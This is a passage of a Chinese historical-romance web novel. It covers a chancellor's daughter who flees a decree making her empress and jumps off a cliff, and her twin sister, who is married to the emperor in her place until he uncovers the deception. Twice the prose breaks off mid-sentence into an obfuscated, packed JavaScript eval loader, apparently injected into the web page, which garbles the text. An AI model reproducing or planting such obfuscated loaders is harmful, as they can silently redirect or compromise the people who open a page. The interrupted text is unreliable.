《未名嫁衣》 1. 圣旨到 天元二百一十二年,玉霄国,险峻山道上。 是夜,天空中洒着淅淅沥沥的小雨,一名女子策马疾驰在朦胧的夜色之中,像一道如梭的闪电。 马蹄踏着如春蚕肆虐啃食桑叶的沙沙雨声,飞溅起路边的湿泥和小石子。 雨打山花残,零落入泥,被马蹄碾作尘土。 女子身后,是十几匹穷追不舍的快马,那些马儿飞驰着,似有雷霆万钧之势,惊涛骇浪之魄,可乍一看,它们队列整齐,错落有致,却也是训练有素的。 本来直出念城,李碧瑶害怕一路上夜宿酒家客栈什么的会暴露行踪,她就没合过眼,一想到身后的一队人马黏得跟狗皮膏药似的,更是不敢停歇。 路边的树枝刮坏了她雍容华美的绫罗绸缎,她不在乎;雨水斑驳了她精致艳丽的妆容,她也不在乎;倦意和饥饿不断地席卷着她,她更不在乎——她是李府向来嚣张跋扈的大小姐,在意的东西太少太少。 而现在,她唯一卯尽心思想做的事,就是逃,虽然不知道逃去哪儿,但总比坐以待毙要好。 逃过后方人马的追击,逃出相府,逃离皇宫的深宫高墙——天地如此之大,除了这些地方,去哪里都好。 前些日子,宫里来了圣旨,要召她入宫为后。自古李家便有与皇家联姻的传统,想着自家闺女入了皇门,李家在朝中的地位便会高枕无忧,平日里爱女心切的李谌像吃了定心丸一样,也一门心思赞同这桩婚事。作为当事人的她却不以为意,这哪里是嫁女儿哟,分明是把她往火坑里推,要说自己妹妹李碧凝,那性子温婉得哟,能滴出水来,不知道是多少权贵家公子梦寐以求的对象,不知道那狗皇帝是不是瞎了眼还是拟错了圣旨,偏偏把这门婚事降到自己头上来。 总而言之,现在的丞相府于她而言,是一方虎狼之地,她要逃,逃得越远越好。 她才不要当玉轩枫的什么狗屁皇后,一来她并不贤良淑德,不能为他的后宫三千佳丽树立一个良好的典范,更做不到母仪天下;二来一群女人成天在一起还能干嘛,除了买买买,就是想着争宠斗艳,想着每天和他的莺莺燕燕们勾心斗角,她觉得心累,哪有和世家公子们一起饮酒作乐骑马比武来得痛快;况且,走进那个皇宫里面的女人,没有一个有好下场,她们中大多数都免不了失去宠爱,或是失去孩子,甚至是生命的下场。她潇洒自由惯了,受不了这每走一步就如履薄冰的委屈。 寻日里,她没事也逛些戏楼剧苑。茶馆讲堂和折子戏里,尽是些英雄美人、江山帝王的故事,可结局多是遗憾,用不圆满来博世人眼泪,但她也只是冷眼看看,亦不动情。她记得自己听过一个叫《卿卿如酒》的说书片段,讲的是玉霄国上一辈里玉轩枫的父亲景王爷和太子玉龙吟的往事,可能故事经过口耳相传已不是原本模样,但大概还是七八不离十。 慕昭训生于民间,与太子玉龙吟在一个偶然的情况下相识,只是因为酿得一手好酒,就颇得玉龙吟厚爱。玉龙吟也不顾皇上皇后的反对,贸然召慕卿入了宫。奈何玉龙吟的父皇母后嫌弃慕卿身份低微,封为太子妃太过于招摇,对玉龙吟软硬施压,无奈,玉龙吟只能将她封为昭训,还被迫娶了正妃。 玉宵国太子妻妾分四个等级,太子妃,昭仪,良娣,昭训。昭训的身份就表明慕卿比别人矮了一截,是注定要被打压的。 可就是这么一个全皇宫除了玉龙吟都不看好的小小昭训,成了皇子们争夺皇位的筹码。玉龙吟的宠爱,自然让慕昭训成了他的软肋。景王爷将慕昭训作为人质,引玉龙吟上钩,玉龙吟一失手,居然亲自把慕昭训杀了! 当时中途休息,李碧瑶磕着瓜子,脚踩板凳,对着满勾栏的听书人道,她要是玉龙吟,她就直接弃了那太子之位,跟那慕昭训私奔去,那样慕昭训就不至于身陨;况且就算慕昭训没死,玉龙吟也在后来的皇位之争中获胜,那独宠爱慕昭训无疑是对她的戕害,皇后之位已有了人选,玉龙吟的那些妃子们又怎会甘心名位和宠爱尽失,这样看来,慕昭训无疑是身处刀山火海。 话虽有理,可当太子多好,一人之下,万人之上,等以后接过皇位,更是呼风唤雨,珍馐御馔,江山美人,要什么有什么,故周围的纨绔子弟们只当她是喝得多了,才大放厥词。 惊堂木一响,说书先生继续。 后来的故事也是很戏剧化了,玉龙吟直接放弃太子之位,也不再计较景王爷是不是间接害死慕卿的凶手,离开了皇宫,不知所去,景王爷得以从他手中接过太子位和太子妃,后来成一代君王。 书卷里说,他游历四方去了,只为找到和慕昭训酿得酒一模一样的酒。那时还有人在她身边颇为惋惜地感慨了一句:“可惜天下只有一个慕昭训,她已经死在了玉龙吟的手中。” 李碧瑶不懈,吐着西瓜子皮驳道:“你们看吧,我说得没错,只是他选择得晚了些,要是他早做选择,他失去的是江山,但他还能有美人在侧,可以不理朝政,和他的慕卿做一对闲云野鹤的璧人,不也很好嘛。” 江山与美人,究竟孰轻孰重?李碧瑶也想不明白,但她不想像慕昭训一般,成为任何人的筹码。 已经两天了,她特地从府里挑了脚程最好的马,不休不眠地一路狂奔,竟然还是被追上了。 哼,也对,毕竟府里派出的人实力不可小觑,个个都是追踪的好手,肯定又有那个处处和自己作对的无意。想到这里,她拉了拉手中的缰绳,高呼了一声:“驾!” 突然,“嘶”地一声,她的坐骑轰然倒地,李碧瑶整个人飞了出去,跌落在了泥泞中,摔了个狗啃泥,极无形象可言。 偏偏在这个节骨眼上,身后是追兵,身旁是峭壁,空中还扬着缠绵的雨丝。想到这里,她双手撑地,艰难地爬起来,向那匹马儿投去怨恨的目光。 那可怜的马儿已经两天没吃没喝,载着李碧瑶出了丞相府,一路狂奔,翻山越岭。它身上好几处地方都被山上的枝桠划破了,加上巨幅运动,伤口愈发难愈合,在雨水的侵蚀下,已经被泡得膨胀,很是瘆人。若不细看,其实分辨不出来这是一匹白马。此刻,它的浑身上下被血渍和泥浆包裹着,正一动不动地躺在地上,双目圆睁。 你还死不瞑目啦!你罪该至死!李碧瑶剜了它一眼,在心底暗暗骂道。 尔后吃力地站起来,怒地踹了它一脚:“没用的东西,本小姐平时都白喂你啦!” 转眼间,李碧瑶就被十几个动作有序的黑衣人围住,他们每个人都手执一盏琉璃铜盏油灯。微光聚拢在一起,李碧瑶四周顿时敞亮了起来,只映出她煞白的小脸蛋。 “大小姐您就别为难我们了,跟我们回去吧。”为首的是个女子,身佩短刀,穿着黑色的夜行衣,脸上蒙了一块黑巾,看不清楚面容。 果然又是无意!李府里这个暗卫组织颇为神秘,平日里神龙见首不见尾,她为此还特地打探了一番,想看看这些人里都有哪路子的神仙。却发现了李府的暗卫里,领头人竟然是一名叫“无意”的女子,这个女子不过十几岁,却能引领李府的一帮子能手,可见来人不简单呐。 李碧瑶心想着,回去?事已至此,我能回哪里去,皇宫?还是李府? “大小姐,前面没路了,请回吧。”一行人“唰唰唰”地跪了一地,低着头,朝她拱手道。 “不,我不,我不回去,你们回去告诉我爹,我死也不会嫁给玉轩枫的,若是他强行要给我的婚事做主,你们一个个的,就等着给我收尸吧。”李碧瑶摇了摇头,警惕地看着周围黑压压的一群人,下意识地后退了几步,直到离崖壁只有半步之遥,她才止住步子,却不经意间将崖边上细碎的石子踩落下去。 嘴上虽是这么说的,李碧瑶心里却在打鼓,这么多人,个个都是高手,要是他们不听她的指令,强行带她回家该怎么办?难道真的要跟他们回去不成?不,不能回去,回去就再也出不来了。她会被送进宫里,关进高墙大院,为一群女人们操碎心,再无自由可言。 她望了望身后的悬崖,里面黑咕隆咚一片,什么都看不见,下面或许是万丈深渊,或许是密布的荆棘,但也有可能是溪流……是生是死,这一跳,一切都未可知。 不管了,死就死吧,她握紧了拳头,一咬牙,坠入了无尽的深渊。 “大小姐,不要呀!”有人反应很快,想要伸手去抓住她,却只拽到了一片薄如蝉翼的衣角。 在这群暗卫出发之前,丞相大人千叮万嘱一定要把大小姐平安无事带回去,这下倒好,他们亲自把大小姐逼下了悬崖,大小姐她生死未卜。 耳边灌着呼呼啦啦的风声,冰凉的雨点打在她的脸庞,鬓间金钗银篦早已散去,发丝纠结成凌乱的弧度,李碧瑶嘴角轻轻地扯了一个笑,安然地阖上了双眼。她这一生,活得很潇洒,放浪形骸,自在不羁,虽然无所事事,但是足够逍遥快活,就这么死了也不亏,要是不生在权贵之家,没有这么多规矩束缚,就更好了。 来世啊,上天你一定要把我生在寻常人家,李碧瑶心里默念。都说上天有好生之德,应该没理由不理睬她这个小小的愿望吧。 “头儿,现在该怎么办?”大小姐实乃奇女子,做事风格一向出人意料,有下属望着这一幕,半天没回过神来,许久才向领头的人请示。 素来听闻大小姐性子烈,可没想到她竟为了逃避一纸婚约,连命都可以不要了,无意心里唏嘘不已。若她不是李府的暗卫,这样快意情仇的大小姐交个朋友也未尝不可,可偏偏她有着她的使命,站到了大小姐的对立面上。 为首的人把面巾摘了,露出一双惶恐的眼睛,细长的眉拧成“川”字,她望着深不见底的悬崖,眉头深锁,道了句:“你们将情况如实报告给丞相大人吧。” 这支暗卫于丞相府有特殊的意义,大小姐要是不幸殒命,他们十几人倒不至于陪葬,但是一顿重罚还是免不了的。 无意坐在崖上的一块巨石上,陷入了沉思,大小姐啊大小姐,我俩是不是八字相克,你怎么老是跟我过意不去呢。 细雨早就淋湿了她的黑衣,撩乱了她的秀发,无意盘腿坐在石上,一动不动,部下们看她也不下达任何指令,顾自去寻人了。 她知道,崖下是丛林和乱石,巨型猛兽数不胜数,就算侥幸存活,越早找到,生还的几率就越大。想到这里,无意都忍不住替她捏了一把汗,大小姐福大命大,她一定会没事的吧。 事情发展成这般田地,还要从两三天前说起。 彼时八个轿夫抬着一乘明黄色的轿子,踩着微润的青苔,摇摇晃晃穿过小巷的青石板长径,浩浩荡荡地行进着。 那轿子银顶皂幔,四壁金黄,四角上各雕着一只小巧玲珑的雀儿,下面坠着些许金铃铛,轿壁上纹着绛红色的花饰和两只张牙舞爪盘踞着的黑龙。偶尔有微风拂过,吹起轿沿四周的金黄色流苏,那些铃儿亦随风而舞,发出清脆的声响。 不是龙撵,也不知是宫里哪个达官贵人的轿子,如此派头,定是又有什么大事发生。 宫苑和民居仅一墙之隔,关得住的是风流韵事、宫中秘闻,关不住的却是黎民百姓的流言蜚语。 路边的行人们见了,忍不住驻足观望,就连街角本来正在玩风车挂着鼻涕的孩童,都忍不住探了探脑袋,随即满心欢喜地跑去扯了扯正在浣衣的娘亲的衣角,汇报道:“娘,宫里出来了一顶金轿子,后面跟着好多人呢。” 玉宵国崇尚天德之美,自古便以金色为尊,能乘金色轿子的,除了皇帝,也就是他身边那些位高权重的人了。 那娘亲挽了挽袖子,擦了一把额头上的汗珠,笑意盈盈道:“哦,那你可别乱跑了,这帮人呐,指不定又要惹出什么事端来。” 氏景帝退位不过才三年,新帝玉轩枫上位后,参政理朝各方面多有不足,承蒙几朝老臣们扶持,玉霄国先帝们开拓出的锦绣盛世才得以延续。 寻常人家,求的不过是一世长安,无忧百岁,自己安身立命就好,哪里顾得上好奇朝中的星点举动——顶多是些轰轰烈烈的大事儿,成为大家街头巷尾饭后茶余的谈资罢了。 只见那轿子兜转蜿蜒,最终停在了一座富丽堂皇的府邸前,门楹上鎏金的牌匾上洋洋洒洒书着“相府”两个大字。 当代丞相名叫李谌,独揽大权,执掌百官,号令六部。哪怕是皇帝本人见着,也要让三分薄面,而这种殊荣,纵观当今朝中上下,也仅有李家如此。 李家先人协同先帝浴血奋战,拼搏厮杀,这才开拓出玉霄国的大好河山。细数来,李家祖上作为开国功臣,获得先帝亲笔题的这块匾,到如今,已经两百多年。 正是初春,雨水丰沛,草木繁盛,道旁的梧桐泛起油油的绿意。森森的围墙一直蔓延着,掩在周围高大挺拔的梧桐之中,似是看不到尽头。浅灰的墙面顶上,是熠熠生光的琉璃瓦,在日光的照射下,映出五彩斑斓的光辉。 门口立着两只石狮子,左边的一只踩着圆鼓鼓的绣球,右边那只足下是只贪玩嬉闹的小狮子。 富贵人家们门口大多摆着这么些物件儿,一来驱邪镇灾,二来祈福千秋万代,子孙延绵,图个吉祥。 可乍一看,有什么奇怪的东西乱入,只见两只狮子一只做着鬼脸,另一只翻着白眼,哪里有半点端庄严肃可言。 前些日子,献州新进贡一批质量上乘的黑漆,皇上将其赏赐给李谌。 这可不,这漆刚进相府,便入了大小姐李碧瑶的法眼。李碧瑶玩心重,说门前的石狮子木讷呆板毫无生气,不假思索挥毫数笔,将其涂抹装饰了一番,这才有了此情此景。 富贵权势之家,门口不摆些镇宅辟邪的物件总是说不过去的,可眼下自个儿门前威风凛然的狮子被李碧瑶涂得好似落水的蔫狗。丞相大人无奈,原本打算派人清洗干净,那漆却像是与生俱来似的长在上面下不来,李谌当时只能叹了句“好漆啊”,遂命人加紧赶制新的石狮子。 而旧的两只,本来是约了工匠今日个下午搬走的,要怪就怪这个捎信儿的全德才公公来得不是时候吧。 等那轿子稳稳当当地停好,其中一个轿夫揭开了细绣着牡丹的帷幔,毕恭毕敬地向轿内人道了句:“公公,相府到了。” 那轿内人本在小憩,听闻此言,细长的丹凤眼慢慢睁开,弓着腰绕过轿门,走出了轿子,整了整衣冠,长吆了一句:“圣旨到,李碧瑶接旨——” 白玉阶上两个立着笔直的小厮中的一个瞧见来者不凡,赶忙进屋通报。 另一个小厮赶忙迎上去,立马把来人请进屋,全德才倒也客套,只是迈进门口两步,便不再往里走。 “老爷老爷,宫里来了圣旨,是给大小姐的。”李谌本来正在喝着小女儿李碧凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁知这下李谌的脸色涨成了猪肝色,皇上要把他的大女儿要赐婚给谁?自家碧瑶,模样虽是倾国倾城,可脾气秉性着实糟糕透了,在家惹是生非已是常态,出了家门也照样不安分,念城百姓里私下里给她起了个“混世小魔王”的称呼。 李谌在心底里替这个娶她的人捏了一把汗,虽是艳福不浅,但十有七八,怕是拿捏不住吧。 心中五味杂陈,就在此时,李碧瑶的贴身丫鬟小柔慌慌张张前来禀报:“老爷老爷,大小姐又不见了!” “大呼小叫,成何体统!”碍在有外人在场,李谌佯作怒状,呵斥了小柔一句。 但他却心知肚明,这事不能怪小柔。他的这个大女儿啊,狂放不羁爱自由,不按套路出牌是常事。只要她想出相府,身边的丫鬟们根本拦不住她,寻常她自己翻墙挖洞也就算了,整个相府更是被她搅得鸡犬不宁—— 之前有丫鬟梨花带雨地跟他抱怨,因为不让大小姐出府,自己被五花大绑关在地窖,好几天才被人发现;过几日又有丫鬟随她外出,慌慌张张跑回来报告,大小姐在街头不翼而飞;不出两日又有哪个世家找上门来,说自家孩子被李碧瑶打伤打残抢东西了…… 诸如此类,比比皆是。 久而久之,李府的一众丫鬟避而远之,深知大小姐不是善茬,惹不起唯有躲得起,唯有小柔,能好声好气地同她说上几句话。 李谌在心里轻轻叹了一口气,自己平日里真的是太惯着她了,让她养成了骄纵跋扈的性子。可是他膝下都是儿子,老来好不容易才有了一双宝贝女儿,自己不宠着惯着,难道要别人来替他宠着惯着? “公公请稍安勿躁,小女贪玩,此刻不在家中,老臣这就派人去寻。”李谌朝全公公拱了拱手,面露歉意道。 那全公公也是个玩权弄势的主儿,从进门开始,已经站了怕是有十来分钟了,但心中的如意算盘却是打得咣当响——这李府里多的是本就位高权重之人,以后呐这李家女儿飞上枝头成了凤凰,这一屋子人就更得罪不起咯,也不好言出一二,只好耐心候着。 “去找无意,让她把碧瑶给我带回来。”李谌随即向身边的一个小厮吩咐道。 “是。”那小厮行了个礼,慌忙赶忙就下去了。 须臾之后,一只海东青划过天际,发出刺耳的尖鸣,有道黑影立在窗边,朝它吹了个响哨。那只海东青随即落在窗柩上,安静地歪着脑袋看着眼前的人。 黑衣人伸出柔荑,轻拂过面前小家伙的羽毛,随手取下了密信阅览,不过片刻,那方密信在烛台中化为灰烬,黑衣人眸中划过一丝危险。 又该出任务了。 - “姑奶奶,你放过我吧!”此时地上狼狈不堪的男子不是别人,正是当今皇上的亲弟弟——玉十七。 玉轩逸因在皇子中排名十七,又名玉十七。先帝皇子诸多,到后来也懒得起小名了,便用排名来命名。 此时的他,华服上满满都是尘土,白净的脸上青一块紫一块的,眸中流露出几抹惧色,狠狠地朝面前的女子磕了一个响头,哪有半点王族贵胄的模样。 玉十七虽贵为王爷,平日里却游手好闲,不理朝政,干着强取豪夺、强抢民女的勾当,弄得百姓是苦不堪言,只不过碍于他的身份尊贵,无人敢说什么不是。 只是今日不巧,玉十七想下手的目标没选好,是丞相家的千金李碧瑶,同样为非作歹、且武力值不俗的小恶霸一枚。 果然,以暴制暴是最管用的。围观的百姓渐渐增多,甚至有人拍手高呼叫好,总算有人能替他们出一口恶气了——虽然这个人也不是什么善茬,在念城也是臭名昭著。 “都散了散了,没什么好看的!谁再看,姑奶奶我把他眼珠子抠下来。”察觉到了越来越多凝聚在自己身上的目光,李碧瑶觉得很是不自在,朝人群翻了个白眼。 人群闻言如临危鸟兽散,好似面前人为洪水猛兽。 玉轩逸被李碧瑶钳制着,他挣扎往前爬一步,李碧瑶便往前挪一步,玉轩逸往后爬,李碧瑶也朝后走,丝毫不给他回旋的余地。 好像是猫鼠游戏,李碧瑶是那个虎视眈眈胜券在握的老猫,而玉轩逸是那个被囿于股掌的幼鼠,两人就这么僵持着,玉轩逸稍微动得大步,李碧瑶劈头盖脸就是一顿毒打。 李碧瑶玩得腻了,等她打算放过玉十七的时候,玉十七已经被揍得是鼻青脸肿。 “你、你给我等着。”十七皇子好不容易挣脱了她的束缚,便回归一副恶狠狠的架势。这个女人,胆子也是大,难道不知道他是什么身份吗?敢这样对自己,回去一定要让皇兄给她点颜色看看! “哦,那我等着就是了。”李碧瑶晃了晃手中那枚刚从他身上抢过来的小巧玲珑的玉佩,顾自喃喃道。 对她而言,喜欢的东西,哪怕是抢,也要据为己有,何况是这种自己主动送上门来的。 这个玉佩,样式古朴,浑体通透,直觉告诉她,此物绝非凡品。纵使李府金银珠宝数不胜数,也还没有见过这么个稀罕物,故从看到的第一眼开始,李碧瑶就相中了玉轩逸身上的这么个小玩意儿。 彼时,恰好玉十七回眸,看到身边的美人姿色不错,动了歪心思。二人就在光天化日之下对峙起来,玉十七一介酒囊饭袋当然落得下风。 报复什么的,她才不在意,自家亲爹乃是当朝丞相,连天皇老子都要让几分薄面。 笑话,她会怕谁? 若有什么报应,她等着便是了。 2. 替嫁 万万没想到,她等到的居然是一道圣旨。 刚得了宝贝,李碧瑶心情大好,正把玉佩高举过头顶,透过大好的春日暖阳瞧着。玉佩里有一小团朦胧的絮状图案,迷迷茫茫的看不清,她本想凑近些来看,却被人从身后捂住口鼻,不省人事。 李碧瑶晕过去之前唯一的想法就是:谁呀,竟然敢趁本大小姐不注意背后偷袭,等我醒后一定收拾他! 等她晕晕沉沉睁开眼的时候,看到了面前的那抹茶驼色上绣着的那条张牙舞爪的龙,再看那人戴了圆顶直脚幞头,便知眼前人是宫里最得宠的公公了。 毕竟宫里能把龙穿在身上的人就那么些位,看这位模样,也不像是皇子或者王爷。 李碧瑶心里咯噔了一下,纳闷:玉十七的帮手这么快就到了? 而那公公手中拿的,似乎是道圣旨?李碧瑶偷偷瞄了自家父亲一眼——李谌的表情极为难看。 那人丹凤眼一挑,目光落在她身上,扫得她不寒而栗:“李碧瑶接旨——” 见圣旨如见圣上,李碧瑶虽然跋扈恣意,但这点道理还是懂的,本着有事老爹扛,扛完我再造的想法,乖巧地跪在了圣旨前,想看看这突如其来的狗屁圣旨上会说些什么。 “奉天承运皇帝,诏曰:今丞相之女李碧瑶,端庄宁静,温婉大方,贤良淑德,秀外慧中,特召入后宫,择良辰吉日成婚,册立为后。钦此——” 公公宣读圣旨的时候,一众人跪在圣旨前,大气都不敢出半声,整个李府迎来了大小姐在时难得的安静。 自家女儿要嫁给皇上?一听到李碧瑶被召入宫的消息,李谌老眼一黑,差点没惊得昏厥过去,好在李碧凝眼疾手快,扶了他一把。这,万一碧瑶哪里做的不好冒犯了皇上,自己几个脑袋都是不够砍的吧,想到这里,李谌头上又多了一层细密的汗珠,李碧凝见状,拿着随身的帕子给他擦汗。 李碧瑶跪在地上,表面是静静地听着圣旨,心里却不以为然。贤良淑德?呵,这皇上是聋子还是瞎子,为后?呵,我说了要嫁给他了吗?果然皇家的人都如玉十七一般,金玉其外,败絮其中。 相对于圣旨,她更在意的是另一件事,是谁把她弄晕带回李府的? 公公前脚宣读完圣旨出了府,后脚李碧瑶回了闺房就拉着小柔询问。小柔怯怯地回了她一句“是无意”,随即低着脑袋偷偷去瞥她的表情。 无意!又是无意!李碧瑶气得把手边的瓷器拿起来就摔。这个无意究竟是什么来头,三番五次跟自己过意不去,除了知道是一个女的,府里几乎所有人还都不知道她的来历!本以为父亲大人一向宠着她,就三番五次缠着他询问,可每每追问起这个无意的时候,李谌却也是闭口不言。 阿姐屋里有动静,她在屋!循着瓷器噼里啪啦碎落在地的声音,李碧凝提了裙摆,欢喜地去找自家阿姐。一个人上之人的夫君,一世享不尽的荣华富贵,令不少女子欣羡不已,阿姐能嫁进宫里,她做为妹妹,自然是替她开心的。 “姐姐。”本来是想踏进屋子的,可看到满地的瓷器碎片,李碧凝面上的笑意同脚下的步子一同止住了。 看到是李碧凝来了,李碧瑶随即收敛了一些,倒不是因为自己有多怕她,而是自家妹子太过柔弱,怕不小心伤到她。 “姐姐要进宫了呢,以后性子可不能这么急,后宫形势险恶,惹怒了那些嫔妃,可是会招来杀身之祸的呢。”毕竟自家阿姐,碧凝当然很清楚她的为人,对她一番婉言相劝。 “我不嫁,谁乐意嫁谁就去呗!”李碧瑶看到她来了,本来变得温顺了些,听到她的这番话,怒地抬手,手边一个御赐的掐丝珐琅釉瓶立马四分五裂。 “叮——” 吓得门外路过去别苑打扫的宫女一哆嗦,赶忙加快了脚步。 “阿姐……”李碧凝还想再说什么,却被小柔一把拉出门外:“二小姐,现在大小姐心情不佳,您还是稍后再来吧。” 原本以为“不嫁”只是一句气话,可当晚宴时小柔梨花带雨地向李谌报告“小姐不见了的时候”,李碧凝终于知道了,这次阿姐真的不是随口说说。 隔日,宫里送来了很多金银珠宝,绫罗绸缎,民间的稀奇的物件也是数不胜数。在旁人看来,这些嫁妆可以说是豪华至极,但是对偌大的相府来说,不过是走走形式罢了。 一个屹立朝中风雨飘摇二百余年不倒的相府,权势滔天,披罗枕玉,能缺什么?联姻也不过是为了亲上加亲,君臣相亲,家族相亲,仅此而已。 六礼合一,三天后就是婚期。十几年前玉龙吟登上皇位,就当了一天的皇上,废了宫里关于立后立妃的诸多条例,立文:玉宵国国君(储君)若有中意的女子,可抛弃身份家世之别,可免去繁文缛节,直接册立为后(妃)。 皇后和太子妃之职兹事体大,牵扯甚多,龙帝却如此草率。众人都能想到,龙帝如此是因谁——自己求而不得,当然不能让子孙重蹈覆辙,故而背上了骂名,选择成全后辈。 新律刚盖上玺印送到礼部,龙帝人就没了踪影,礼部尚书当时左右为难不知该如何是好,后继景帝还不得感谢玉龙吟给了他能当皇帝的机会,故而点头答应了修律。 可没想到这新帝玉轩枫更甚于他,刚筹备好宫里纳后的诸多事宜,就下了二道圣旨,一道用于告知当事人,另一道直接把成婚的日子定在了三天后。 吃瓜百姓们不得不感慨,玉宵国皇上都是痴情男儿,个个都情根深种。 眼看着出嫁的日子慢慢接近,却没想到李碧瑶不见了,兹事体大,李谌不敢张扬,只能私下里偷偷地打听她的下落。 据小柔说,自家大小姐今日本来是挑了马厩里最快的一匹马,说是打算和那些世家公子哥们赛马去,结果迟迟未归。待小柔得令去寻她时,那些寻常一起吃喝玩乐的公子哥们,竟无一人说见过她。 本想着后天就是出嫁的日子了,再野的心也该收收了,耐不住自家女儿的软磨硬泡,才允许她出府玩耍的,李谌哪知道事情竟然变成了这样。 天也是阴晴不定的,明明白日里暖阳和煦,晚上说变就变,一场雨突如其来。和着朦胧的水汽,笼罩得相府气氛更加森幽。 烛光映在李谌深深的皱纹上,更显得沧桑无比,沉思许久,他捋了捋胡子,幽幽叹道:“找无意吧。” 无意是丞相府的暗卫领头,手下有一众暗卫,是丞相大人得力的助手。见过她的人却寥寥无几,每次需要无意出动的时候,会有人把任务写在一方小小的纸条上,盖上相府独特的印章,由一只海东青带给她。 一天过去,依旧杳无音信。 李谌掐指一算,自家闺女碧瑶已经出走整整一天了。 无意那边也没有半点消息,碧瑶一时半会怕是回不来了。 李府封锁了消息,除了执行密令的无意一行人,只有李谌、碧凝和小柔三人知道碧瑶出走的事情。此时三人正急得如热锅上的蚂蚁,躲在李碧瑶闺房中面面相觑。 李谌吩咐了几句,遣退了小柔,打量了自家小女儿许久,昏暗的老眸中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诸如此类的事情数不胜数,惹得一众后宫嫔妃们红了眼。 这日,李碧凝刚刚起床,右眼皮便一直跳个不停,许久都没有停歇,跳得她心也跟着慌。 "君以,我这一大早上的右眼皮跳个不停,也不知道会有什么灾祸。" 君以本来是相府的丫鬟,伴在李碧凝身边也有三五年了,她虽是小丫头的模样,但做事利索,很让人讨喜,李碧凝便带着她来到了皇宫。寻日里李碧凝能说得上几句真心话的人寥寥无几,君以便是其中之一。 当然,从被选择入皇宫的那一刻起,君以便知道了替嫁一事。何为心腹?便是纵然形势如同山崩地裂,也会不为所动守口如瓶。 君以不以为然地笑笑,替她打理着柔亮的青丝,又看看铜镜中眉头紧锁的女子:“不过是民间的迷信说法罢了,小姐可万万不要当真,小姐此时正怀着小皇子呢,切莫过分忧虑,免得动了胎气。” 私下里,君以一直唤作她小姐。一切仿佛都还在李府那样,没有什么皇上皇后,也不用拘泥于那些俗套礼节。 话虽如此,可一大早上的李碧凝的心里着实堵得慌。殿外的那棵梧桐已经开始掉叶子了,上面几只麻雀叽叽喳喳地叫着,着实叫得她心烦。 真是怕什么来什么,群臣刚刚早朝过,她就被玉轩枫身边的公公传旨去了执政殿。 “你可知,朕今日找你来,所为何事?” 3. 戏君 殿上的人还在翻着一卷奏折,也不抬头看她一眼。 冰冷的语气,一改往日的宠溺,让她不禁为之一寒,难道他发现了什么端倪?不,不会的,玉轩枫根本没见过阿姐几面,他怎么发现的? 近五个月过去了,她一如既往地扮演着“李碧瑶”这一个角色,细细想来,可是有什么地方不对? 不应该啊,她甚至学起了自家阿姐的蛮横泼辣,开始变得有几分不讲理了,怎么会被发现呢? “陛下,臣妾愚钝,不知陛下所指何事。”她努力让自己平静下来,嗯,他一定没发现。他既不主动说出来,自己也不能不打自招,她心里想着。 “呵,那你猜猜看,朕所指何事?”玉轩枫倒也不直接挑明,反而跟她打起了哑谜。 “陛下可是发现了什么?”她试探着问道。 “发现?朕发现了什么?这可要问问你们李家,到底做了什么!”玉轩枫怒不可遏地把手中的几卷奏折摔在了地上,有些许因为太过用力,被磕下了台阶,铺陈到了她的面前。 玉轩枫看着台下跪着的人,她一袭杏衫,头上别满了金钗银钿。呵,这可是三个月前他亲手册封的皇后——“李碧瑶”。 语气里微微夹杂着嘲讽:“哼,好一出以假乱真,你们李家胆子真是大!” 见他有些气急败坏,李碧凝只是咬着嘴唇,一言不发。 “还是说,从一开始,你们就跟朕打了这个赌?可惜这一局你们赌输了!一败涂地!”他终究还是自己开口,说出了事情的全部。 真相是残忍,却也是因为他的一厢情愿而亲手酿成的。 李碧凝倒也不怕,横竖不就是一死吗,她心想着。这结局,本就在她的意料之中。 “既然你们这么愿意赌,就赌最后一把吧。”此时玉轩枫站在大殿的高台上,负手而立,眸中似有寒星凌冽。 想想都觉得讽刺,明明区别这么大的两个人,近五月了,他才知道,身边的这个人,不是李碧瑶,而是她的孪生妹妹,李碧凝。 玉轩枫素日里听闻,李家有两个女儿:姐姐李碧瑶嚣张跋扈,没事总爱招惹事非,他虽远在皇宫,但常常听说,谁谁家的公子被李碧瑶怎么怎么欺负了,就连平日里一贯目中无人的玉十七都跑到他跟前告李碧瑶的状;而妹妹李碧凝端庄贤惠,性格温柔,绣工一流,不少高官家的小姐们都不惜低声下气,只为了能得到碧凝绣的哪怕是半方锦帕。 他意味颇深地扬了扬嘴角,真是可笑。李家如今这样,是拿他当傻子吗?还是说,就仗着他只见过李碧瑶几面,所以李家就断定,这场狸猫换太子的把戏,就不会被自己识破。 李谌为人低调,只有偶尔的大型宫廷宴会,他会带上自家的两个宝贝女儿在身侧,那时候玉轩枫也只是远远地瞧上一眼。细想起来,呵,的确,他只认真的见过李碧瑶一次,那是不久前丞相大人的六十寿诞。 那日玉轩枫穿了便服来赴宴,也未声张一二,除去一些常常能见到他的大臣,几乎没人知道皇上也在相府,他也吩咐熟识的大臣们不要声张。 觥筹交错,杯盘狼藉,他喝得有些乏了,便撇开护卫,踱着步子,独自在相府的庭院里逛了起来。 他还记得,那天月色正好,满池都是波光嶙峋。李碧瑶于莲池的那座白玉桥上独舞,莲步轻移,水袖翩跹,宛若惊鸿,娇若游龙。月光洒下来,映出她清秀的脸庞,葳蕤的灯火伴着她,为她笼上了一层神秘的面纱。 玉轩枫看得如痴如醉,再回过神来,桥上的人已经不见了身影,只余下了一地落寞的月光,和着桃花纷飞的残影。他久久不能忘怀月下那抹倩影,他蓦地忆起,有人说与他丞相家的大女儿李碧瑶舞姿绝美,想必这就是李碧瑶了,思索了一番,便下定决心要纳她为后。 